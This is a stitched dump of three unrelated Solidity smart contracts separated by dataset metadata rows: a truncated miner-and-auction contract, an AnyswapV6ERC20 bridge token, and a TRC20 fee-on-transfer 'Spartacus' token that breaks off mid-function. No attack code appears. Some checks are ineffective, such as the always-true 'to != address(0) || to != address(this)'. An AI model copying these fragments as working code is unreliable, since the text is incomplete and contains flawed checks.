require(!_isContract(msg.sender), '2034');
_miner_add(msg.sender, 0, tokens.mul(5), tokens);
}
_update_lessthan(msg.sender);
totalSupply = totalSupply.add(miners[msg.sender].tokens);
require(tg.mint(msg.sender,tokens,amount), '2007');
emit Mint(msg.sender, miners[msg.sender].id, msg.value, tokens);
}
function redeem(uint _value) external lock{
require(miners[msg.sender].id > 0,'2009');
uint value = _value;
uint tokens = value.mul(RATIO);
if(tokens > miners[msg.sender].tokens){
tokens = miners[msg.sender].tokens;
value = tokens.div(RATIO);
}
miners[msg.sender].tokens = miners[msg.sender].tokens.sub(tokens);
totalSupply = totalSupply.sub(tokens);
_update_lessthan(msg.sender);
require(tg.redeem(msg.sender,tokens),'2011');
msg.sender.transfer(value);
emit Redeem(msg.sender,value, tokens);
}
function _miner_add(address user, uint id, uint quota, uint tokens) private{
if(id == 0){
require(minerid < MINER_LIMIT,'2005');
minerid += 1;
miners[user] = MinerStruct(minerid,quota,tokens);
}else{
miners[user] = MinerStruct(id,quota,tokens);
}
}
function _miner_clear(address user) private {
delete miners[user];
}
function _update_lessthan(address user) private {
if(miners[user].id == 0 || miners[user].quota > QUOTA_LIMIT || miners[user].tokens >= MIN_TOKENS){
if(lessThanQuotaLimit[user].time > 0){
delete lessThanOf[lessThanQuotaLimit[user].id];
delete lessThanQuotaLimit[user];
}
}else if(lessThanQuotaLimit[user].time == 0){
lessThanId += 1;
lessThanQuotaLimit[user] = LessThanStruct(lessThanId,_now(0));
lessThanOf[lessThanId] = user;
}
}
function buy(address target) external lock payable{
require(!_isContract(msg.sender), '2034');
if(target == address(0)){
require(minerPrice > 0 && msg.value == minerPrice, '2012');
if(miners[msg.sender].id == 0){
_miner_add(msg.sender,0, minerQuota, 0);
}else{
miners[msg.sender].quota = miners[msg.sender].quota.add(minerQuota);
_update_lessthan(msg.sender);
require(miners[msg.sender].quota <= QUOTA_LIMIT * 100, '2016');
}
address(uint160(owner)).transfer(msg.value);
emit Buy(msg.sender,target,msg.value);
}else{
require(miners[msg.sender].id == 0,'2013');
require(minerid >= MINER_LIMIT, '2005');
require(msg.value >= 0.2 ether && msg.value <= 1 ether, '2014');
MinerStruct memory miner = miners[target];
require(_allowTransfer(target,miner),'2015');
uint to_target_value = msg.value / 2;
uint to_owner_value = msg.value - to_target_value;
if(miner.tokens > 0){
to_owner_value += miner.tokens.div(RATIO);
totalSupply = totalSupply.sub(miner.tokens);
}
_miner_clear(target);
_update_lessthan(target);
_miner_add(msg.sender, miner.id, msg.value * RATIO * 5, 0);
if(auctions[target].id>0){
delete auctionOf[auctions[target].id];
delete auctions[target];
}
address(uint160(target)).transfer(to_target_value);
address(uint160(owner)).transfer(to_owner_value);
emit Buy(msg.sender,target,msg.value);
}
}
function auctionInitiate(uint price) external{
require(auctionStatus &&
minerid >= MINER_LIMIT &&
miners[msg.sender].id > 1, '2017');
require(auctions[msg.sender].id == 0, '2018');
require(price > 0, '2019');
uint expires = _now(7 days);
auctionId += 1;
auctions[msg.sender] = AuctionStruct(auctionId,
miners[msg.sender].quota,
expires,
price,
0,
price,
address(0));
auctionOf[auctionId] = msg.sender;
emit Auction(msg.sender,auctionId,miners[msg.sender].quota, price, 0, expires, address(0), price);
}
function auctionCancel() external{
uint id = auctions[msg.sender].id;
require(id > 0, '2020');
require(auctions[msg.sender].expires <= _now(0), '2021');
require(auctions[msg.sender].bider == address(0), '2022');
delete auctions[msg.sender];
delete auctionOf[id];
emit Auction(msg.sender,id,0, 0, 0, _now(0), address(0), 0);
}
function auctionBid(address target) external payable{
require(miners[msg.sender].id == 0, '2013');
AuctionStruct memory item = auctions[target];
require(target != msg.sender, '2023');
require(item.id > 0, '2024');
require(item.expires > _now(0), '2027');
require(msg.value > item.highest, '2025');
require(!_isContract(msg.sender), '2034');
address prev_bider = item.count == 0 ? address(0) : item.bider;
uint prev_value = item.count == 0 ? 0 : item.highest;
auctions[target].highest = msg.value;
auctions[target].bider = msg.sender;
auctions[target].count += 1;
if(prev_value > 0){
address(uint160(prev_bider)).transfer(prev_value);
}
emit Auction(target,item.id,item.quota,item.price, auctions[target].count, item.expires, msg.sender, msg.value);
}
function auctionFinish(address target) external lock{
AuctionStruct memory item = auctions[target];
require(item.id > 0, '2024');
require(item.expires <= _now(0), '2028');
require(item.count > 0 && item.bider == msg.sender, '2029');
MinerStruct memory miner = miners[target];
uint to_owner_value = item.highest / 10;
uint to_target_value = item.highest - to_owner_value;
if(miner.tokens > 0){
to_owner_value += miner.tokens.div(RATIO);
totalSupply = totalSupply.sub(miner.tokens);
}
_miner_clear(target);
_update_lessthan(target);
if(miners[msg.sender].id == 0){
_miner_add(msg.sender, miner.id, miner.quota, 0);
}else if(miners[msg.sender].quota <= miner.quota){
miners[msg.sender].quota = miner.quota;
}
_update_lessthan(msg.sender);
delete auctions[target];
delete auctionOf[item.id];
address(uint160(owner)).transfer(to_owner_value);
address(uint160(target)).transfer(to_target_value);
emit Auction(target,item.id,item.quota, item.price, item.count, _now(0), msg.sender, item.highest);
}
function setSellMiner(uint price,uint quota) external onlyOwner{
require(quota > QUOTA_LIMIT, "quota must be greater than 50000tg");
minerPrice = price;
minerQuota = quota;
}
function setAuction(bool status) external onlyOwner{
auctionStatus = status;
}
function viewSummary() external view returns (uint ratio,uint miner_count,uint miner_limit,uint miner_expires,
uint miner_price,uint miner_quota,uint quota_limit,uint balance,bool auction_status,address token_contract){
return (RATIO,minerid,MINER_LIMIT,MINER_EXPIRES,minerPrice,minerQuota,
QUOTA_LIMIT,address(this).balance,auctionStatus,tokenContract);
}
function viewMiner(address sender) external view returns (uint id,uint quota,uint tokens,uint value,uint status,uint expires){
return (miners[sender].id,
miners[sender].quota,
miners[sender].tokens,
miners[sender].tokens.div(RATIO),
auctions[sender].id > 0 ? 1 : 0,
lessThanQuotaLimit[sender].time>0?lessThanQuotaLimit[sender].time.add(MINER_EXPIRES):0);
}
function viewTransferMiner() external view returns (address addr){
if(minerid < MINER_LIMIT){
return address(0);
}
for(uint i = 1; i <= lessThanId; i++){
address _addr = lessThanOf[i];
if(_addr != address(0)){
MinerStruct memory miner = miners[_addr];
if(_allowTransfer(_addr,miner)){
return _addr;
}
}
}
return address(0);
}
function _allowTransfer(address user,MinerStruct memory miner) private view returns (bool){
return miner.id>1 && miner.quota<=QUOTA_LIMIT && miner.tokens < MIN_TOKENS &&
lessThanQuotaLimit[user].time.add(MINER_EXPIRES) < _now(0) &&
(auctions[user].id == 0 || (auctions[user].id>0 && auctions[user].count==0 && auctions[user].expires<_now(0)));
}
function _now(uint value) internal view returns (uint) {
uint v = block.timestamp;
if(value != 0){
v = v.add(value);
}
return v;
}
function _isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
| 275,795 | 771 |
1a1979ea695e6c8797b7938802f9e62f05575473e7dc9a7437cecd03c112d1fa
| 23,907 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c1/C167f62e93775ACADeb3d2B0940bce560171Fdf3_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 309,479 | 772 |
d628bbcdd3e50e9cfa37ef55d7b633ae25e728a2463e8a6cc54fc7800e7db038
| 18,129 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBVx2z9nbG9R82gFiJ16diMcq5J9e5Xf6m_Token.sol
| 3,236 | 12,031 |
//SourceUnit: Spartacus.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract Token is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'Spartacus';
string private _symbol = 'Spartacus';
uint8 private _decimals = 6;
uint256 private _totalSupply = 90000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 1;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 0;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 28800 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 0 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
